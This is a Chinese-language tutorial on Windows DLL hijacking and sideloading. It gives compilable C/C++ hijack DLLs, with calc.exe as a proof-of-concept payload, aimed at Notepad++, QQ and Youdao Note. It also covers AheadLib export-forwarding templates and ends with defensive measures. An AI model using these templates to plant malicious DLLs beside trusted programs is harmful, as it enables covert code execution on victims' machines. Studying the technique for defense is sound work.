初探dll劫持
字数 1854 2025-08-09 13:33:40

DLL劫持技术全面解析与实战指南

一、DLL基础概念

1.1 DLL定义与作用

DLL(Dynamic Link Library)即动态链接库文件,是Windows系统中的"应用程序拓展"。它将应用程序分割成相对独立的功能模块,多个程序可共享相同的DLL实现相似功能(如窗口管理、内存分配、文件操作等)。

1.2 DLL加载机制

Windows通过以下两种机制确定DLL加载路径:

DLL路径搜索目录顺序

  1. 程序所在目录
  2. 程序加载目录(SetCurrentDirectory)
  3. 系统目录(SYSTEM32)
  4. 16位系统目录(SYSTEM)
  5. Windows目录
  6. PATH环境变量中列出的目录

Know DLLs注册表项

  • 路径:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
  • 特点:这些DLL在应用程序运行后已加载到内核空间,多个进程共享,修改需要高权限

二、DLL劫持技术原理

2.1 基本概念

利用Windows DLL搜索顺序的特性,将恶意DLL放置在合法DLL之前的搜索路径中,使程序优先加载恶意DLL而非合法DLL。

2.2 关键判断条件

  1. 目标DLL不在Know DLLs列表中
  2. 目标DLL使用LoadLibraryLoadLibraryEx动态加载
  3. 目标DLL的调用栈中存在LoadLibrary(Ex)调用

三、手动DLL劫持实战

3.1 劫持应用中不存在的DLL

实验环境:Notepad++ 6.6.6(注意高版本可能已修复漏洞)

工具准备

  • Procmon.exe:用于监控DLL加载行为
  • Visual Studio 2019:编译恶意DLL

步骤

  1. 使用Procmon设置过滤条件(进程名、路径、结果)
  2. 查找使用LoadLibrary加载的DLL
  3. 编写恶意DLL(示例弹出计算器):
#include <stdlib.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
        case DLL_PROCESS_ATTACH:
            system("calc.exe");
            break;
    }
    return TRUE;
}
  1. 将编译的DLL放入Notepad++根目录
  2. 运行程序触发劫持

3.2 劫持应用中存在的DLL

关键点

  • 需要分析目标DLL的导出函数
  • 处理函数重命名问题(Name-Mangling)

解决方案

  1. 使用extern "C"防止C++编译器改编函数名
  2. 实现所有必要的导出函数

示例代码

#include "pch.h"
#include <stdlib.h>

extern "C" __declspec(dllexport) void Scintilla_DirectFunction();

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
        case DLL_PROCESS_ATTACH:
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}

void Scintilla_DirectFunction() {
    system("calc.exe");
}

3.3 DLL转发技术

当直接劫持导致程序出错时,可使用DLL转发技术保留原DLL功能。

实现方式

  1. 将原DLL重命名(如SciLexer_re.dll
  2. 创建转发DLL,在DllMain中执行恶意代码
  3. 转发调用到原DLL

示例代码

#include "pch.h"
#include <stdlib.h>

extern "C" __declspec(dllexport) void Scintilla_DirectFunction();

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
        case DLL_PROCESS_ATTACH:
            system("calc");
            break;
    }
    return TRUE;
}

void Scintilla_DirectFunction() {
    HINSTANCE hDll = LoadLibrary(L"SciLexer_re.dll");
    if (hDll) {
        typedef DWORD(WINAPI* EXPFUNC)();
        EXPFUNC expFunc = NULL;
        expFunc = (EXPFUNC)GetProcAddress(hDll, "Scintilla_DirectFunction");
        if (expFunc) {
            expFunc();
        }
    }
    return;
}

四、工具辅助DLL劫持

4.1 使用CFF Explorer分析目标程序

  1. 检查目标程序(如QQ.exe)的导入表
  2. 选择不在Know DLLs列表中的DLL进行劫持(如libuv.dll

4.2 使用AheadLib生成劫持代码

两种模式

  1. 直接转发

    • 生成转发代码,所有导出函数转发到原DLL
    • 示例转发代码:
    #pragma comment(linker, "/EXPORT:uv_udp_open=libuvOrg.uv_udp_open,@195")
    
  2. 即时调用

    • 生成代码在调用时动态加载原DLL
    • 关键代码结构:
    #pragma comment(linker, "/EXPORT:uv_async_init=_AheadLib_uv_async_init,@2")
    // 函数实现中使用__asm jmp跳转到原DLL函数地址
    

实施步骤

  1. 使用AheadLib生成劫持代码
  2. 创建VS DLL项目并添加生成代码
  3. 在DLL入口点添加恶意代码
  4. 将原DLL重命名(如libuvOrg.dll
  5. 将恶意DLL放入目标目录

五、白加黑攻击技术

5.1 基本概念

利用合法EXE(白文件)加载恶意DLL(黑文件)的攻击方式。

5.2 实施步骤

  1. 选择目标程序(如有道云笔记)
  2. 查找不在Know DLLs中且使用LoadLibrary加载的DLL(如CrashRpt.dll
  3. 分析导出函数(如RptCleanup等)
  4. 实现所有导出函数的恶意DLL

示例代码

#include "pch.h"
#include <windows.h>
#include <stdlib.h>

extern "C" __declspec(dllexport) void RptCleanup();
extern "C" __declspec(dllexport) void RptSetAdditionalInfo();
extern "C" __declspec(dllexport) void RptNcThreadListAddCurrent();
extern "C" __declspec(dllexport) void RptInitializeWithDefaultSettingsWithVersion();

void RptCleanup() { system("calc"); }
void RptSetAdditionalInfo() {}
void RptNcThreadListAddCurrent() {}
void RptInitializeWithDefaultSettingsWithVersion() {}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
        case DLL_PROCESS_ATTACH:
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}

六、防御措施

  1. 应用程序防御

    • 使用绝对路径加载DLL
    • 检查DLL数字签名
    • 使用SetDefaultDllDirectories限制DLL搜索路径
  2. 系统防御

    • 启用DLL搜索顺序安全策略
    • 监控Know DLLs注册表项变更
    • 使用杀毒软件检测异常DLL加载行为
  3. 开发规范

    • 避免使用LoadLibrary加载非系统DLL
    • 对关键DLL进行完整性校验
    • 使用最新版本开发工具和安全补丁

七、总结

DLL劫持是一种利用Windows DLL加载机制的安全漏洞攻击技术,通过本文介绍的手动和工具辅助方法,安全研究人员可以深入理解其原理并实施防御措施。在实际应用中,应严格遵守安全开发规范,防止此类攻击的发生。

DLL劫持技术全面解析与实战指南 一、DLL基础概念 1.1 DLL定义与作用 DLL(Dynamic Link Library)即动态链接库文件,是Windows系统中的"应用程序拓展"。它将应用程序分割成相对独立的功能模块,多个程序可共享相同的DLL实现相似功能(如窗口管理、内存分配、文件操作等)。 1.2 DLL加载机制 Windows通过以下两种机制确定DLL加载路径: DLL路径搜索目录顺序 程序所在目录 程序加载目录(SetCurrentDirectory) 系统目录(SYSTEM32) 16位系统目录(SYSTEM) Windows目录 PATH环境变量中列出的目录 Know DLLs注册表项 路径: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs 特点:这些DLL在应用程序运行后已加载到内核空间,多个进程共享,修改需要高权限 二、DLL劫持技术原理 2.1 基本概念 利用Windows DLL搜索顺序的特性,将恶意DLL放置在合法DLL之前的搜索路径中,使程序优先加载恶意DLL而非合法DLL。 2.2 关键判断条件 目标DLL不在Know DLLs列表中 目标DLL使用 LoadLibrary 或 LoadLibraryEx 动态加载 目标DLL的调用栈中存在 LoadLibrary(Ex) 调用 三、手动DLL劫持实战 3.1 劫持应用中不存在的DLL 实验环境 :Notepad++ 6.6.6(注意高版本可能已修复漏洞) 工具准备 : Procmon.exe:用于监控DLL加载行为 Visual Studio 2019:编译恶意DLL 步骤 : 使用Procmon设置过滤条件(进程名、路径、结果) 查找使用 LoadLibrary 加载的DLL 编写恶意DLL(示例弹出计算器): 将编译的DLL放入Notepad++根目录 运行程序触发劫持 3.2 劫持应用中存在的DLL 关键点 : 需要分析目标DLL的导出函数 处理函数重命名问题(Name-Mangling) 解决方案 : 使用 extern "C" 防止C++编译器改编函数名 实现所有必要的导出函数 示例代码 : 3.3 DLL转发技术 当直接劫持导致程序出错时,可使用DLL转发技术保留原DLL功能。 实现方式 : 将原DLL重命名(如 SciLexer_re.dll ) 创建转发DLL,在 DllMain 中执行恶意代码 转发调用到原DLL 示例代码 : 四、工具辅助DLL劫持 4.1 使用CFF Explorer分析目标程序 检查目标程序(如QQ.exe)的导入表 选择不在Know DLLs列表中的DLL进行劫持(如 libuv.dll ) 4.2 使用AheadLib生成劫持代码 两种模式 : 直接转发 : 生成转发代码,所有导出函数转发到原DLL 示例转发代码: 即时调用 : 生成代码在调用时动态加载原DLL 关键代码结构: 实施步骤 : 使用AheadLib生成劫持代码 创建VS DLL项目并添加生成代码 在DLL入口点添加恶意代码 将原DLL重命名(如 libuvOrg.dll ) 将恶意DLL放入目标目录 五、白加黑攻击技术 5.1 基本概念 利用合法EXE(白文件)加载恶意DLL(黑文件)的攻击方式。 5.2 实施步骤 选择目标程序(如有道云笔记) 查找不在Know DLLs中且使用 LoadLibrary 加载的DLL(如 CrashRpt.dll ) 分析导出函数(如 RptCleanup 等) 实现所有导出函数的恶意DLL 示例代码 : 六、防御措施 应用程序防御 : 使用绝对路径加载DLL 检查DLL数字签名 使用 SetDefaultDllDirectories 限制DLL搜索路径 系统防御 : 启用DLL搜索顺序安全策略 监控Know DLLs注册表项变更 使用杀毒软件检测异常DLL加载行为 开发规范 : 避免使用 LoadLibrary 加载非系统DLL 对关键DLL进行完整性校验 使用最新版本开发工具和安全补丁 七、总结 DLL劫持是一种利用Windows DLL加载机制的安全漏洞攻击技术,通过本文介绍的手动和工具辅助方法,安全研究人员可以深入理解其原理并实施防御措施。在实际应用中,应严格遵守安全开发规范,防止此类攻击的发生。